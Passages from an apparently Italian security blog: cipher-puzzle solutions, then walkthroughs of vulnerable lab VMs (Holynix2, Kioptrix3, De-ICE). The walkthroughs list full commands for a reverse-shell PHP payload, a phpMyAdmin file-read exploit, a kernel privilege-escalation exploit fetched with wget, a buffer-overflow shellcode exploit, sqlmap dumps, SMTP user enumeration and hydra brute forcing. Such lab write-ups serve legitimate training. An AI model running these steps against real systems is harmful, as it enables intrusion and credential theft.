0010101100100001000000110100101101110001000000110101001101111011010010110111001101001011011100110011100100000011000100111001001101001011011100110011100100000011101000110100001100101011011010010000001110100011011110010000001110100011010000110010100100000011011010110010101100101011101000110100101101110011001110010000001110100011010000110100101110011001000000111011101100101011001010110101100101110001000000100100101110100001000000111011101101001011011000110110000100000011000100110010100100000011010000110010101101100011001000010000001110011011000010110110101100101001000000111010001101001011011010110010100101100001000000111001101100001011011010110010100100000011100000110110001100001011000110110010100101110

Questo è un codice binario.Quindi basta andare su xlate e convertire:

Last weeks meeting was a great success. We seem to be generating a lot of buzz about the movement. The key for next weeks meeting is resistance. If there is anyone else you know of that may be interested in joining bring them to the meeting this week. It will be held same time, same place.

Quarto esempio
 
VGhhdCBtZWV0aW5nIHdhcyBhIGxpdHRsZSBjcmF6eS4gV2UgaGF2ZSBubyBpZGVhIHdoZXJlIHRob3NlIGd1eXMgaW4gdGhlIGJsYWNrIHN1aXRzIGNhbWUgZnJvbSwgYnV0IHdlIGFyZSBsb29raW5nIGludG8gaXQuIFVzZSB0aGUga2V5IGluZmlsdHJhdGlvbiBmb3IgbmV4dCB3ZWVrknMgbWVldGluZy4gU3RheSB3aXRoIHRoZSBjYXVzZSBhbmQgd2Ugd2lsbCBzdWNjZWVkLg

Questo è un codice base64.Quindi basta andare su xlate e convertire:

That meeting was a little crazy. We have no idea where those guys in the black suits came from, but we are looking into it. Use the key infiltration for next week's meeting. Stay with the cause and we will succeed.

Quinto esempio
 
JR UNIR QVFPBIRERQ GUNG BHE YNFG GUERR GENAFZVFFVBAF JR'ER RNFVYL QRPVCURERQ. JR UNIR GNXRA PNER BS GUR CNEGL ERFCBAFVOYR SBE GURVE RAPBQVAT NAQ NER ABJ HFVAT N ARJ ZRGUBQ. HFR GUR VASBEZNGVBA CEBIVQRQ NG YNFG JRRX.F ZRRGVAT GB QRPVCURE NYY ARJ ZRFFNTRF. NAQ ERZRZORE, GUVF JRRX.F XRL VF BOSHFPNGRQ.

Questo è un codice derivato dalla cifratura di Cesare. E' abbastanza semplice da decifrare con un attacco bruteforce. Si va a tentativi, al max saranno 26(mi sono dimenticato di segnare lo shift effettuato). Il testo in chiaro lo si può decifrare qui:

WE HAVE DISCOVERED THAT OUR LAST THREE TRANSMISSIONS WE'RE EASILY DECIPHERED. WE HAVE TAKEN CARE OF THE PARTY RESPONSIBLE FOR THEIR ENCODING AND ARE NOW USING A NEW METHOD. USE THE INFORMATION PROVIDED AT LAST WEEK.S MEETING TO DECIPHER ALL NEW MESSAGES. AND REMEMBER, THIS WEEK.S KEY IS OBFUSCATED.

Sesto esempio
 
PYB DRO XOHD WOODSXQ LO CEBO DY ECO UOI WKXUSXN. DROBO RKFO LOOX CYWO QBOKD SNOKC PVISXQ KBYEXN YEB WOODSXQC KC YP VKDO. DRO KEDRYBSDI GSVV QY YFOB CYWO YP DROW DY COO SP DROI PSD SXDY YEB KQOXNK.

Questo è un codice derivato dalla cifratura di Cesare. E' abbastanza semplice da decifrare con un attacco bruteforce. Si va a tentativi, al max saranno 26(qui si ha uno shift di 10). Il testo in chiaro lo si può decifrare qui:

FOR THE NEXT MEETING BE SURE TO USE KEY MANKIND. THERE HAVE BEEN SOME GREAT IDEAS FLYING AROUND OUR MEETINGS AS OF LATE. THE AUTHORITY WILL GO OVER SOME OF THEM TO SEE IF THEY FIT INTO OUR AGENDA.

Settimo esempio
 
VAOZM HPXC YZGDWZMVODJI OCZ VPOCJMDOT CVN YZXDYZY OCVO OCZMZ DN JIZ DYZV RCDXC RZ RDGG OVFZ PK VN KVMO JA JPM XVPNZ. OJ CZVM HJMZ VWJPO DO, WZ NPMZ OJ VOOZIY OCZ IZSO HZZODIB, PNZ OCZ FZT BZIZMVODJI OJ BZO DI. OCZMZ DN HPXC KGVIIDIB IZZYZY OJ WZ YJIZ, WPO DA RZ XVI ZSZXPOZ OCZ KGVI RZ RDGG WZ AMZZY.

Questo è un codice derivato dalla cifratura di Cesare. E' abbastanza semplice da decifrare con un attacco bruteforce. Si va a tentativi, al max saranno 26. Il testo in chiaro lo si può decifrare qui:

AftEr muCh DEliBErAtion thE Authority hAs DECiDED thAt thErE is onE iDEA whiCh wE will tAkE up As pArt of our CAusE. to hEAr morE ABout it, BE surE to AttEnD thE nExt mEEting, usE thE kEy gEnErAtion to gEt in. thErE is muCh plAnning nEEDED to BE DonE, But if wE CAn ExECutE thE plAn wE will BE frEED.

Ottavo esempio
 
EKEMQ XI LEWI CIESQIH ULEU BVS USEQTPMTTMBQT ESI FIMQK PBQMUBSIH. ET E SITVCU XI ESI GLEQKMQK ULI IQGSDAUMBQ PIULBH EKEMQ. ULI QIX OID JBS QIYU PIIUMQK XMCC FI ABCDKBQ. MU MT MPAISEUMWI ULEU DBV ECC EUUIQH ECC PIIUMQKT JSBP LISI BQ MQ.

Questo è un codice derivato dalla cifratura di Cesare. E' abbastanza semplice da decifrare con un attacco bruteforce. Si va a tentativi, al max saranno 26(qui si ha uno shift di 4). Il testo in chiaro lo si può decifrare qui:

AGAIn wE HAvE lEArnED tHAt Our trAnsmIssIOns ArE BEInG mOnItOrED. As A rEsult wE ArE CHAnGInG tHE EnCrYPtIOn mEtHOD AGAIn. tHE nEw KEY FOr nExt mEEtInG wIll BE POlYGOn. It Is ImPErAtIvE tHAt YOu All AttEnD All mEEtInGs FrOm HErE On In.

Difficilmente questo codice è comprensibile. Così ho salvato il codice in un file(crypto8.txt) e poi tramite shell ho modificato i caratteri che facilmente ci intuiscono errati. Allora si prova a modificare le singole lettere, avevo provato tramite shell, ma diventa impossibile con tr perchè poi risostituisce i valori già cambiati. Allora si procede con un word editor. Il testo diventa:

AGAIn wE HAvE lEArnED tHAt Our trAnsmIssIOns ArE BEInG mOnItOrED. As A rEsult wE ArE CHAnGInG tHE EnCrYPtIOn mEtHOD AGAIn. tHE nEw KEY FOr nExt mEEtInG wIll BE POlYGOn. It Is ImPErAtIvE tHAt YOu All AttEnD All mEEtInGs FrOm HErE On In.

Nono esempio
 
XI VQHISTUEQH ULEU ULMT XMCC FI QB IETD UETO UB IYIGVUI EQH ULEU XI ESI ETOMQK E CBU JSBP ECC BJ DBV. WI HB QBU JEVCU EQD PIPFIST JBS CIEWMQK, XI ESI FIUUIS BJJ XMULBVU ULBTI XIEO CMQOT. ULI ACEQQMQK TUEKI MT QBX BWIS. ULI OID JBS BVS JMQEC PIIUMQK MT JEXOIT. SIEHD DBVSTICWIT. ULI UMPI LET GBPI JBS VT UB FI JSIIH.

Questo è stato veramente difficile per me. Si procede come il precedente, sostituendo le lettere. L'unico particolare è trovare l'alfabeto che si deve sostituire.E' stato molto difficile, anche perchè per gli italiani non è sempre facile intuire la parola inglese:

we understand that this will be no easy task to esecute and that we are asking a lot from all of you. we do not fault any members for leaving, we are better off without those weak links. the planning stage is now over. the key for our final meeting is fawkes. ready yourselves. the time has come for us to be freed.

L'alfabeto sostituente è : poly*bcdefghi*kmn*rstuvws* dove l'asterisco indica una lettera non nota, perchè non è usata all'interno della frase e non è possibile dedurre, comunque è inutile.

Decimo esempio
 
XI VQHISTUEQH ULEU ULMT XMCC FI QB IETD UETO UB IYIGVUI EQH ULEU XI ESI ETOMQK E CBU JSBP ECC BJ DBV. WI HB QBU JEVCU EQD PIPFIST JBS CIEWMQK, XI ESI FIUUIS BJJ XMULBVU ULBTI XIEO CMQOT. ULI ACEQQMQK TUEKI MT QBX BWIS. ULI OID JBS BVS JMQEC PIIUMQK MT JEXOIT. SIEHD DBVSTICWIT. ULI UMPI LET GBPI JBS VT UB FI JSIIH.

Come l'esempio precedente.

this will be our last transmission. you've all received your assignments. if you are able to complete your task reply back to us using the keyword from this encryption algorithm as your key. Just remember that this is all for the greater good.

L'alfabeto sostituente è : final*eob*ctvsdghkmp*ruw*y dove l'asterisco indica una lettera non nota, perchè non è usata all'interno della frase e non è possibile dedurre, comunque è inutile.

Note
Ovviamente gli ultimi due sono i più difficili di tutti... Per completarli occorre un po' di pazienza e soprattutto la cara vecchia carta, dove riportare i due alfabeti... I primi esempi era veramente troppo facili...

mercoledì 21 settembre 2011

BackBox2 vs Holynix2

Mi sono di nuovo cimentato in un nuovo pentest su una live distro specificamente adattata per realizzare questi tutorial. Holynix è arrivata da tempo alla versione 2, avevo già risolto una volta questa distro, ma adesso l'ho rifatta per creare il video...



Come sempre un ringraziamento a g0tmi1k, e qui trovate il suo tutorial.

In questo video non spiegherò come l'altro i passaggi più elementari, perchè si possono imparare dagli altri video da me caricati che spiegano anche questi primi passaggi... Partirò già dall'identificazione dei servizi presenti sulla macchina... Ogni volta che la porta 80 è open, si deve fare un salto sulla pagina del webserver per scoprire informazioni... E proprio qui si notano i due diversi indirizzi presenti... E come è strutturata la richiesta per accedere ai file personali via ftp... Quindi passiamo a "scavare" con dig nelle informazioni che il dns ci fornisce... Infatti la porta 53 è aperta... Scopriamo subito che il secondo indirizzo ha un ip diverso... Settata l'ip dell'attacker sull'indirizzo di quella macchina, riproviamo con dig e proviamo ad effettuare un Transfer Zone da cui ricaviamo l'ip di un'altra macchina riconosciuta come "trusted", sicura o fidata... Risettiamo quindi l'ip con quest'ultimo a nostra disposizione...

Affidandoci a DirBuster(non presente sulla distrubuzione BackBox2, ma facilmente installabile con 2 comandi) possiamo realizzare un attacco brute force per scovare eventuali cartelle o file generici... Ed in contemporanea lanciamo nikto per scoprire un po' più informazioni sul webserver... DirBuster e nikto ci danno importanti informazioni... Troviamo un file che spiega come aggiornare l'ftp per un nuovo utente, ed in più troviamo phpMyAdmin che ci fornisce la versione di quest'ultimo e ci consente di sfruttare una sua vulnerabilità per elencare il contenuto di un file in modo remoto... Molto semplicemente cercando su exploit-db o sul relativo pacchetto scaricato(anch'esso non presente di default sulla distribuzione, ma molto facile da sistemare) possiamo utilizzare un exploit in perl per elencare il contentuto di /etc/passwd(non troppo utile in questo caso) e del file di configurazione trovato prima grazie a DirBuster... E proprio questo sarà dato a John The Ripper per trovare tramite attacco con wordlist le password associate ad ogni utente... A noi ne basta una, e con questa ci colleghiamo sul server ftp...

Dentro al server ftp possiamo caricare una nostra shell in php ed utilizzare msf per prender controllo della macchina... Adesso che abbiamo una shell dobbiamo scalare i privilegi... Con il comando uname -a troviamo la versione precisa del kernel... Sempre con il database di exploitdb possiamo trovare un Local Privileges Escalation relativo a questo kernel, quindi copiarlo avviando il nostro server http, copiandolo con wget sulla macchina da compromettere, compilarlo ed infine avviarlo per trovarci finalmente root...


Comandi
 
nmap -sP -n 192.168.1.*
nmap -sS -sV -n -O 192.168.1.88
firefox 192.168.1.88
echo "192.168.1.88 zincftp.com" >> /etc/hosts
cat /etc/hosts
dig zincftp.com @192.168.1.88
dig AXFR zincftp.com @192.168.1.88
geany /etc/resolv.conf
ifconfig eth0 192.168.1.89
dig AXFR zincftp.com @192.168.1.88
ifconfig eth0 192.168.1.34
cd /backbox/web/DirBuster-1.0-RC1
./DirBuster-1.0-RC1.sh #seguire il video per come settare DirBuster
nikto -host 'http://192.168.1.88'
firefox http://192.168.1.88/setup_guides/todo #oppure direttamente da DirBuster
firefox http://192.168.1.88/phpMyAdmin/ #oppure direttamente da DirBuster
cd /backbox/exploit/exploitdb/
grep -i phpmyadmin files.csv
cp platforms/php/webapps/1244.pl /tmp/
cd /tmp/
perl 1244.pl http://192.168.1.88 /phpMyAdmin/ ../../../../../etc/passwd | grep /bin/sh | cut -d ":" -f1 > /tmp/passwd
perl 1244.pl http://192.168.1.88 /phpMyAdmin/ ../../../../../etc/pure-ftpd/pureftpd.passwd | cut -d ":" -f1-2 > /tmp/ftpuser #nel video ho commesso un errore
cd /baxkbox/privilege_escalation/
./john --wordlist=/opt/metasploit3/msf3/data/john/wordlists/password.lst --rules /tmp/ftpuser
ftp 192.168.1.88#user:tmartin pass:millionaire
cd web
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=31337 -f raw > link.php
mv link.php /tmp/
put link.php#dentro alla shell dell'ftp
msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=31337 E
curl tmartin.zincftp.com/link.php
sysinfo
shell
python -c 'import pty;pty.spawn("/bin/sh")'
id
cd /home
ls -lahR
cd /home/amckinley
cat my_key.eml
cat /etc/passwd | grep amckinley
ssh amckinley@192.168.1.88 #pass: agustinmckinley2ba9
id
uname -a
cd /backbox/exploit/exploitdb/
grep -i "kernel 2.6" files.csv
cp platforms/linux/local/5092.c /tmp
mv /tmp/5092.c /var/www/
chmod 777 /var/www/5092.c
cd /tmp/
wget http://192.168.1.34/5092.c
gcc -o exploit 5092.c
./exploit
id
Commenti
Nel video ho commesso alcuni errori che nei comandi non sono presenti... Mi ero dimenticato di dare i permessi al file, oppure altri errori che sono stati tagliati dal video...Niente di che insomma...

Ringrazio questo articolo su pentestmonkey dove sono visualizzati alcuni metodi per ottenere una shell... 

giovedì 8 settembre 2011

Kioptrix3 - First Buffer Overflow


Kioptrix3 è la nuova VirtualMachine che ha come scopo al solito l'acquisizione della macchina. Questa volta ho deciso di provare backbox2, una distro rilasciata da poco di cui apprezzo molto la leggerezza estetica... BackTrack 5 è troppo scura, troppo forte secondo me... Devo dire che indubbiamente BackTrack ha un numero infinito di tools, che a volte si rivela utile... Una mancanza che ho notato su BackBox2 è la mancanza del database di exploit-db... E' comodo usarlo, soprattt se si ottengono dei risultati e non serve fare ricerche più approfondite... Kioptrix3 ha almeno 2 soluzioni... Se non di più... Una soluzione molto elegante la da g0tmi1k sul suo blog:

Kioptrix3 g0tmi1k

La sua soluzione mi ha come al solito aiutato molto... Ma un altro video mi ha deciso di capire qualcosa di più sul buffer overflow... Il link è stato sempre fornito da g0tmi1k:

Soluzione di Swappage

La sua soluzione mi ha molto aiutato... Penso che lo script sia presente anche in exploit-db, ma farselo da sé aiuta a comprendere i meccanismi base sul BOF... Dico base, perchè ormai nessuna distribuzione ha l'ASLR disattivato di default... Ed il kernel linux 2.6 ce l'ha di default attivo... Qui è stato disabilitato ovviamente perchè queste distro sono fatte per divertirsi, un qualche modo per effettuare un privileges escalation... Non che l'ASLR sia inattaccabile, ma certo richiede molto più tempo per comprenderlo...

Ormai non spiego più i primi passaggi di identificazione della macchina e dei suoi servizi... Rileggete i primi post di pentesting e là sono spiegati... Una particolarità in più questa volta kioptrix la richiede... Aggiungere al file /etc/hosts  ip kioptrix3.com... Perchè il servizio web lo richiede... Ma nulla di più...

Aperto firefox si nota che è stata aggiunta una galleria foto... Gallarific permette di creare gallerie fotografiche facilmente in PHP... Ma cercando un exploit per questo servizio si trova una sql injection... Quindi si può passare a sqlmap il sito e vedere se si riesce a tirar fuori qualcosa... Con pochi comandi troviamo user e password di un utente... Che probabilmente sono gli stessi associati all'ssh(errore comune)... Quindi ci logghiamo al sistema tramite ssh...

Adesso avremmo due strade, o procedere come g0tmi1k, oppure effettuare un BOF e scalare i privilegi... Con GDB e OBJDUMP riusciamo a scoprire tutti i dati necessari... Con i tool forniti da metasploit riusciamo a trovare il numero esatto di "A" che vanno a scrivere l'eip(in questo caso dal caratter 4091 escluso a 4095, i 4 byte necessari)... Quindi nello script python forniamo appunto un buffer iniziale da passare ad ht insieme al nostro jmp esp, seguito da un numero di NOPS e poi la nostra shellcode...

Per creare la shellcode si può usare tranquillamente msfconsole... Ancora non ho imparato ad usare tutti i tool di metasploit... Probabilmente potevo evitare di caricare msfconsole... Ma vabbè... Con msfconsole, un suo payload generiamo in ASCII anche il codice per lo shellcode... Nel video ovviamente ho fatto qualche errore, qualcuno dovuto a distrazione...

Il video dura molto poco, ho inserito solo la soluzione finale, avevo giò fatto il tutto un'altra volta, quindi mi ero anche scritto i passaggi, andavo a colpo sicuro...


ps:ho ancora alcune lacune sui nops da mettere... Devo capirlo ancora bene bene...

ps2:non ho inserito tutti i comandi di nano, guardando il video si capisce però cos'ho fatto... Ed alla fine, avevo dimenticato appunto un = allo shellcode, ma si capiva dall'errore restituito...


Comandi
 
echo 192.168.1.130 kioptrix3.com >> /etc/hosts
nmap -sP -n 192.168.1.*
nmap -sS -sV -n -O 192.168.1.130
firefox 192.168.1.130
cd /backbox/exploit/exploitdb/

grep -i gallarific files.csv
cat platforms/php/webapps/15891.txt
clear
cd ~
sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=null'
sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=null' --tables
sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=null' -D gallery --dump
clear
ssh loneferret@192.168.1.130 passwd:starwars
id
clear
sudo -l
cat /proc/sys/kernel/randomize_va_space
clear
gdb /usr/local/bin/ht
run $(python -c 'print "\x41"*4400')
i r
q
reset
cd /opt/metasploit3/msf3/tools/
./pattern_create.rb 4400
 nano exploit.py Ctrl+O Ctrl+X
gdb /usr/local/bin/ht
run $(python exploit.py)
i r
q
reset

./pattern_offset.rb 0x34674633
 nano exploit.py Ctrl+O Ctrl+X
msfconsole
use payload/linux/x86/exec
set CMD /bin/bash
set encoder x86/alpha_mixed
generate
objdump -D /usr/local/bin/ht | grep jmp | grep esp
 nano exploit.py Ctrl+O Ctrl+X
clear
id
sudo ht $(python exploit.py)
id
whoami
cat /etc/shadow
cat /etc/shadow | grep root

giovedì 11 agosto 2011

BackTrack 5 vs De-ICE 1.20 b

Finalmente sono riuscito a concludere anche questa competizione... Come tutti i de-ice fatti finora, lo scopo finale è riuscire ad accedere come utente root al sistema ed ottenere importanti informazioni. Mi sono affidato di nuovo a BackTrack per eseguire tutte le operazioni, anche se questa versione 5 mi sta lasciando un po' l'amaro in bocca per via di tutti quei problemini che si incontrano nell'uso... Intanto aspettiamo settembre per provare la nuova BackBox 2.0, che nella versione 1.05 è riuscita molto bene, anche se la quantità di software offerti da BackTrack è irraggiungibile, e secondo me è più orientata verso una versione LiveCD...

Ritorniamo all'argomento principale... Questa volta niente video, solo screenshots... Come sempre metterò l'elenco completo dei comandi, ma questa volta non mi sono preoccupato di specificare la cartella in cui operavo i comandi... Chiunque arrivi all'ultimo de-ice sa sicuramente come muoversi fra i comandi ed orientarsi in una distribuzione linux... Le immagini sono clickabili per vederle a grandezza corretta...

Per prima cosa avviamo uno scan per identificare gli hosts attivi nella rete e poi approfondiamo sul target scelto evidenziando i servizi attivi sul target stesso:




Subito appena abbiamo a che fare con un web-server controlliamo se nelle sue pagine non ci sia qualche informazione fondamentale...

L'email evidenziata all'inizio può spiazzare... L'email non corrisponde a nessun utente sul server, e nemmeno tramite smtp si ricava qualcosa... Infatti utilizzando il sempre utile nc:

Si ottiene come risposta 550... Utente sconosciuto... Allora ho preferito affidarmi ad uno script in python* che mi ha permesso di elencare tramite attacco dizionario tutti gli utenti sul server smtp, nella speranza poi di avere un riscontro anche sul protocollo ssh. Questo lo script* utilizzato:

#!/usr/bin/python

import getpass
import sys
import telnetlib

host = "192.168.1.20"#raw_input("Digitare IP: ")
port = "25"#raw_input("Digitare porta: ")
users_file = "c.lst"#raw_input("Digitare percorso dizionario: ")
tn = telnetlib.Telnet(host,port)
tn.write("helo x" + "\n")
tn.write("mail from: mito125@slax.example.net" + "\n")
print tn.read_until("Sender ok",1)

inp = open(users_file,"r")
for linea in inp.readlines():
  tn.write("rcpt to: "+ linea)
  print tn.read_until("User unknown",0.1)
inp.close()
tn.write("quit" + "\n")

Io non conosco il python, così come non conosco nessun linguaggio di programmazione, quindi se questo codice è un po' confuso, non fa niente... Alla fine giunge al suo scopo finale.... Si possono notare nell'inizializzazione dei 3 valori host, port, users_file commenti che consentono di avere invece di un valore fisso un valore inserito dall'utente... Basta cancellare il valore predefinito e decommentare il valore raw_input... Io ho utilizzato un dizionario diviso per lettere... Questo perchè più è grande il dizionario, più tempo ci vuole per trovare un valore, più probabilità quindi di ottenere un errore... Io preferisco tanti piccoli dizionari che uno enorme... Con questo codice troviamo che un utente riconosciuto dal sistema è csadmin. I comandi sono alla fine del post... Come ho effettuato un reindirizzamento dell'output su un file, e poi con un grep ho tirato fuori solo i valori interessanti.


Quindi ho dato questo utente in pasto ad hydra, così che con un attacco bruteforce con dizionario sono risalito alla password dell'utente...


Ho scoperto* che indirizzando lo standard error con 2>/dev/null si ottimizza pure hydra, che prova più password al minuto... Adesso lo userò sempre... Con questo utente mi sono collegato via ssh al server remoto... E' un utente semplice, quindi posso navigare solo dentro alla sua home... Non ho possibilità di visualizzare i file importanti presenti in /etc/... Così mi sono recato dentro le sue cartelle ed ho trovato informazioni importanti dentro una email salvata... Grazie a questo esercizio ho appreso l'uso di cupp, common user password profiler, che con delle informazioni ci consente di ottenere una lista di password corta da usare come dizionario... Un bel guadagno di tempo...


Si scoprono informazioni importanti come nomi personali, nomi dei figli, data di nascita dei figli... Servono a cupp proprio per organizzare un dizionario... E' così ho fatto infatti:
Ed ho passato tutto ad hydra per cercare di capire se la password è lì compresa... E' una prova da fare sempre perchè si risparmia tantissimo tempo se il dizionario funziona, e se ne perde molto poco... Quindi al solito:
Tramite il servizio ssh a cui ero già loggato, ho da un semplice "su sdadmin" ed ho inserito la password trovata per poter così entrare nella home dell'ultimo utente trovato, dove ho trovato la stessa cartella di email salvata e 2 file con importanti informazioni... Uno al momento ci serve vedere per trovare allo stesso modo la password per un nuovo utente:

Da qui si trovano nuove informazioni importanti... Che Fred detto "databaser" deve andare alla festa(o forse no, poco importa) ma che possiamo associare "databaser" all'account dbadmin presente sul server... Così con cupp ho cercato un piccolo dizionario con le poche parole presenti, aggiungendo dei numeri casuali alla fine di ogni parola... Ho trovato subito la password databaser60... Purtroppo non ho screenshot... Loggandoci con dbadmin si legge nella solita cartella personale delle righe di codice, e che servono tutte e te le parti(i file part1 part2 e part3) per ricostruire il codice per trovare le password di root e sysadmin... Lasciando perdere il fatto irrealistico di lasciare il codice usato per creare password casuali sul server, ho deciso di non impegolarmi nel linguaggio java... Dalle informazioni presenti si riesce tramite google a capire che quello è un codice java... Io ho tralasciato, ed ho utilizzato il codice postato da g0tm1lk:

import java.io.*;
//import java.util.Arrays;

public class deice
{
 public static void main(String[] args)
 {
    try
    {
       System.out.println("[>] De-ICE.net v1.2b (1.20b) Password Generator");

       BufferedReader in=new BufferedReader(new InputStreamReader(System.in));
       System.out.print("[?] Username: ");
       String input=in.readLine();

       int[] output=processLoop(input);
       //System.out.println("[+] Output: "+Arrays.toString(output));

       String outputASCII="";
       for(int i=0;i<output.length;i++) outputASCII+=(char) output[i];
       System.out.println("[>] Password: "+outputASCII);

    }
    catch(IOException e)
    {
       System.out.println("[-] IO Error!");
    }
 }

 /*input is username of account*/
 public static int[] processLoop(String input){
    int strL=input.length();
    int lChar=(int)input.charAt(strL-1);
    int fChar=(int)input.charAt(0);
    int[] encArr=new int[strL+2];
    encArr[0]=(int)lChar;

    for(int i=1;i<strL+1;i++) encArr[i]=(int)input.charAt(i-1);

    encArr[encArr.length-1]=(int)fChar;
    encArr=backLoop(encArr);
    encArr=loopBack(encArr);
    encArr=loopProcess(encArr);
    int j=encArr.length-1;

    for(int i=0;i<encArr.length;i++){
       if(i==j) break;
       int t=encArr[i];
       encArr[i]=encArr[j];
       encArr[j]=t;
       j--;
    }
    return encArr;
 }

 /*Note the pseudocode will be implemented with the
 root account and my account, we still need to implement it with the csadmin, sdadmin,
 and dbadmin accounts though*/
 public static int[] backLoop(int[] input){
    int ref=input.length;
    int a=input[1];
    int b=input[ref-1];
    int ch=(a+b)/2;

    for(int i=0;i<ref;i++){
       if(i%2==0) input[i]=(input[i]%ch)+(ref+i);
       else input[i]=(input[i]+ref+i);
    }
    return input;
 }

 public static int[] loopBack(int[] input){
    int ref=input.length/2;
    int[] encNew=new int[input.length+ref];
    int ch=0;

    for(int i=(ref/2);i<input.length;i++){
       encNew[i]=input[ch];
       ch++;
    }

    for(int i=0;i<encNew.length;i++){
       if(encNew[i]<=33) encNew[i]=33+(++ref*2);
       else if(encNew[i]>=126) encNew[i]=126-(--ref*2);
       else{
          if(i%2==0) encNew[i]-=(i%3);
          else encNew[i]+=(i%2);
       }
    }
    return encNew;
 }

 public static int[] loopProcess(int[] input){
    for(int i=0;i<input.length;i++){
       if(input[i]==40||input[i]==41) input[i]+=input.length;
       else if(input[i]==45) input[i]+=20+i;
    }
    return input;
 }
}


Anche se sono capace di creare semplici applicazioni android che si basano molto su java, non mi sono messo a riscrivere un codice... Così ho utilizzato questo... Nei comandi si trova il modo di usarlo, ecco il risultato finale:

Abbiamo ora le password di root e sysadmin... Entrando tramite ssh dentro sysadmin, si trova un importante documento che specifica dove trovare il file criptato degli account, dentro la cartella ftp presente in /home/... Ho così copiato semplicemente quel file sul mio computer con:

scp sysadmin@192.168.1.20:/home/ftp/incoming/useracc_update.csv.enc /root/Desktop/

Ed inserendo la password quando richiesta.... Qui ho usato lo script scritto da me in precedenza per la prima versione de-ice che ho concluso:

#!/bin/bash

FILE=$1

for line in $(openssl list-cipher-commands);
do
echo $line;
openssl enc -$line -d -in $FILE -k 31/Fwxw+2 -out $line-deenc.csv;
echo $line >> deenc.txt;
head -n 50 $line-deenc.csv >> deenc.txt;
rm *.csv;
done
kwrite deenc.txt/

Credo di semplicissima comprensione... Così in automatico ottengo alla fine un file (deenc.txt) che mi visualizza le prime 50 linee di ogni decompressione... Solo quella corretta diventa visibile, le altre restano tutte in caratteri strani:

Abbiamo così ottenuto il file cercato... Era criptato tramite aes-256-cbc... Tutto il resto può essere rimosso perchè inutilizzabile... Nello script si nota la presenza della password di root che mi è servita solo in questo caso, per decriptare il tutto...

Comandi

nmap -sP -n 192.168.1.*
nmap -sS -sV -O -n 192.168.1.20
firefox 192.168.1.20
nc 192.168.1.20 25
helo x
mail from: mito125@slax.example.net
rcpt to: customerserviceadmin
./smtp_enum.py > output.txt
cat output.txt | grep Recipient
hydra -l csadmin -P /pentest/passwords/wordlists/divisa/parte28 -e ns -f 192.168.1.20 ssh 2>/dev/null
ssh csadmin@192.168.1.20
cd mailserv_download
cat 2010122014234.j12Gqo4H049241
cd /pentest/passwords/cupp/
./cupp.py -i
hydra -l sdadmin -P paul.txt -e ns -f 192.168.1.20 ssh 2>/dev/null
su sdadmin
cd /home/sdadmin
cd mailserv_download
cat 2010122015043.j15Htu1H341102
./cupp.py -i
hydra -l dbadmin -P fred.txt -e ns -f 192.168.1.20 ssh 2>/dev/null
su dbadmin
strings 2010122216451.f81Ltw4R010211.part1
javac deice.java
java deice
su sysadmin
cd /home/sysadmin
cat Note_to_self
scp sysadmin@192.168.1.20:/home/ftp/incoming/useracc_update.csv.enc /root/Desktop/
./openssl.sh useracc_update.csv.enc 2>/dev/null

aes-256-cbc
ID,Last,First,Email,State,Username,Password,Verifacation Code,Pin code
1000,Carr,Alfred,acarr23@gmail.com,NY,acarr9096,phantom4,952733,490
1001,Karson,William,wkarson53@yahoo.com,NY,wkarson2431,rockallday123,567094,345
1002,Wheeler,Cordy,megawheels98@rocketmail.com,NY,cwheeler5031,goeagles90,462724,631
1003,Smith,Ken,synthesizer_1r@gmail.com,NY,ksmith6253,crystalization,636721,353
1004,Quinn,Cynthia,qcq92@aol.com,NY,cquinn1217,archyandhenry,680247,223
1005,Floyd,Wilson,jukeboxer_4life@gmail.com,NY,wfloyd5931,knockout66,521456,441
1006,Blake,Markus,sil3nt_gunn3r@yahoo.com,NY,mblake6947,268768924,129632,557
1007,Nash,Jillian,wiselife141@aol.com,NY,jnash0934,checkitout1,324672,315
1008,Atkins,Alison,double_a44@hotmail.com,NY,aatkins9087,gogogo123123,457094,124
1009,Oliver,Frank,fog_of_war0001@gmail.com,NY,foliver9385,falconpunch,783143,134
1010,Jones,Edith,msjones677@hotmail.com,NY,ejones7532,chris12345,632620,579
1011,Moore,Cody,aiprojectx@gmail.com,NY,dot_Cipher,crypTrace,101010,1337



Ringraziamenti
4v4t4r di Sec-Track per il codice in python

g0tm1lk per il codice java

giovedì 23 giugno 2011

BackTrack 5 vs de-ICE 1.120-1.0a Hackingdojo



Mi sono apprestato a realizzare questo nuovo video... Questa volta prendendo di mira le vulnerabilità di database SQL, che se non opportunamente protetti rischiano di rilevare importantissime informazioni... Questo tipo di attacco è molto di moda(in altre forme) presso le due più grandi comunità hacker del momento, LulzSec e Anonymous, che stanno piegando tutte le più grandi compagnie del settore informatico... Fa molto ridere quando si infiltrano dentro server di aziende operanti nel settore sicurezza, così bravi nel loro lavoro da essere facilmente penetrabili...

Come al solito, prima di condurre un qualsiasi tipo di attacco si devono raccogliere quanto più informazioni possibili sulla macchina... Utilizzare nmap forse non è il metodo più silenzioso, sopratutto se lanciato su tutte le porte, però in questo caso non crea nessuna difficoltà:

nmap -sP -n 192.168.1.*

Troviamo così l'ip della macchina... Ovviamente per comodità suppongo sia nella mia stessa rete( e così è su VirtualBox)... Secondo comando è sempre su nmap


nmap -sS -sV -O -n 192.168.1.120

Troviamo così servizi e porte in ascolto... Rechiamochi sul web server, così da trovare qualche informazione utile tramite il comando firefox 192.168.1.120. Qui vediamo che la pagina che ci presenta una lista di eventuali prodotti presenta una falla sfruttabile tramite sql injection... In questo caso uso il semplicissimo tool sqlmap:

cd /pentest/database/sqlmap
./sqlmap.py -u http://192.168.1.120/products.php?id=NULL --users
./sqlmap.py -u http://192.168.1.120/products.php?id=NULL --privileges
./sqlmap.py -u http://192.168.1.120/products.php?id=NULL --password

